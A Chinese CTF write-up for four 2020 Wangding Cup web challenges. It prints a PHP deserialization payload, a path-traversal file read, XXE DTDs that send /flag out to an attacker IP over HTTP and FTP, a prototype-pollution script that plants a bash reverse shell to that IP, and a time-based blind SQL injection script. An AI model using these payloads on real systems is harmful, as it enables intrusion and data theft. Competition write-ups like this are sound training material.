2020年网鼎杯WEB-writeup

被队友带飞,队友👍👍👍

0x01 AreUSerialz

1
2
3
4
5
$a = new FileHandler();
$a->op = 2;
$a->filename = 'flag.php';
echo serialize($a);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

很意外为啥把上面的3改成2就好了,

image-20200510195659225

然后在本地试了试,好像跟php的版本和SAPI有关,

php以cli方式运行时候是不用修改3变成2的,本地测试php7.2.1和7.3.15版本将protected改成public属性是可以成功的,其他版本不可以

  • php 7.2.1

image-20200511103022778

  • php 7.1.13

image-20200511103058029

  • php 5.3.29

image-20200511103127750

然后本地7版本时候,不用把3改成2也可以,但是在题目环境不改3的话不能成功。虚拟机里也是和题目环境一样。

image-20200510201328743

win 10 phpstudy php7.2.1

ps:添加了一个var_dump(scandir(‘.’));输出的是php.exe的路径。

image-20200510202256996

这里是sapi的原因(试了apache和nginx都不可以),如果要读的话要用绝对路径

Note:

析构函数在脚本关闭时调用,此时所有的 HTTP 头信息已经发出。脚本关闭时的工作目录有可能和在 SAPI(如 apache)中时不同。

https://www.php.net/manual/zh/language.oop5.decon.php

另外如果把3改成2的话也是可以读的

image-20200511095452622

phpstudy7.2.10外其他版本均读不了flag文件。

后来看到p神之前分享过

image-20200511215419050

参考

然后还有一种解法

1
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}

image-20200511215516506

0x02 filejava

上传完文件可以看下载文件处有任意文件读取漏洞,

image-20200510214503572

都配置文件

image-20200510214652887

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

读class文件

1
/file_in_java/DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

image-20200510214948845

下载下来反编译,

image-20200510215207185

看到poi-ooxml-3.10 has something wrong,之前做swpu的时候就有这个的xxe,可以说是原题,比那个还简单点,新建一个excel文件,然后用压缩包打开,修改里面的[Content_Types].xml,

image-20200510221931914

然后在vps上gx.dtd,上次高校战役Java xxe的文件,,

1
2
3
4
<!ENTITY % file SYSTEM "file:///flag"> 
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999/?%file;'>">
%int;
%send;

然后监听9999端口,

image-20200510222245930

也可以用ftp读

image-20200510222359786

1
2
3
4
<!ENTITY % payload SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://144.34.200.151:2121/%payload;'>">
%int;
%trick;

image-20200510222721778

ps:可以看到这里java版本试1.8

image-20200311140334086

https://www.leadroyal.cn/?p=914

0x03 notes

原型链污染,undefsafe包有bug

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

1
2
3
4
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

本地测试下

1
npm install undefsafe@2.0.2 -S

image-20200510230414796

然后在题目中试,

image-20200510233825972

然后访问/status

1
2
3
4
5
6
7
8
import requests

url = "http://503dafc6341d474b969b8cf1f00212de44c78434174f4b4d.cloudgame1.ichunqiu.com:8080/"

re=requests.post(url+'edit_note',json={"id":"__proto__","author":"bash -c \"bash -i >& /dev/tcp/144.34.200.151/6666 0>&1\"","raw":"xxx"})
print re.text
re=requests.get(url+'status',timeout=1)
print re.text

image-20200510233703708

0x04 trace

限制只能注册20个账号,可以通过时间盲注,但是过滤了information.schema,用无列名注入,猜的表名是flag,利用exp()整数溢出报错,达到一种既不会注册账号(向数据库插入数据),又可以通过时间注入得到flag。

image-20200510234346894

同理pow也可以。

1
insert into flag value(4,pow(if(1,sleep(3),0)+900,900));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# encoding=utf-8
import requests
import time

url="http://0c80b72e772d418eaeb6ee0198373cbb589d6f02f80d4359.changame.ichunqiu.com/register_do.php"
proxies = {
"http": "http://127.0.0.1:8080",
}

flag=""
#erfenfa
for i in range(1,50):
high = 127
low = 44
mid = (low + high) // 2
while high > low:
payload=r"11',exp(if(ascii(mid((select a.2 from (select 1,2 union select * from flag)a limit 1,1),{},1))>{},sleep(3),1)+1000));-- -"
data={"username":payload.format(i,mid),"password":"ddd"}
print(payload.format(i,mid))
s_time=time.time()
r=requests.post(url,data=data)#,proxies=proxies)
print(r.content)
e_time=time.time()
if e_time-s_time>3:
low=mid+1
else:
high=mid
mid=(low+high)//2
flag+=chr(mid)
print(flag)

image-20200510195425221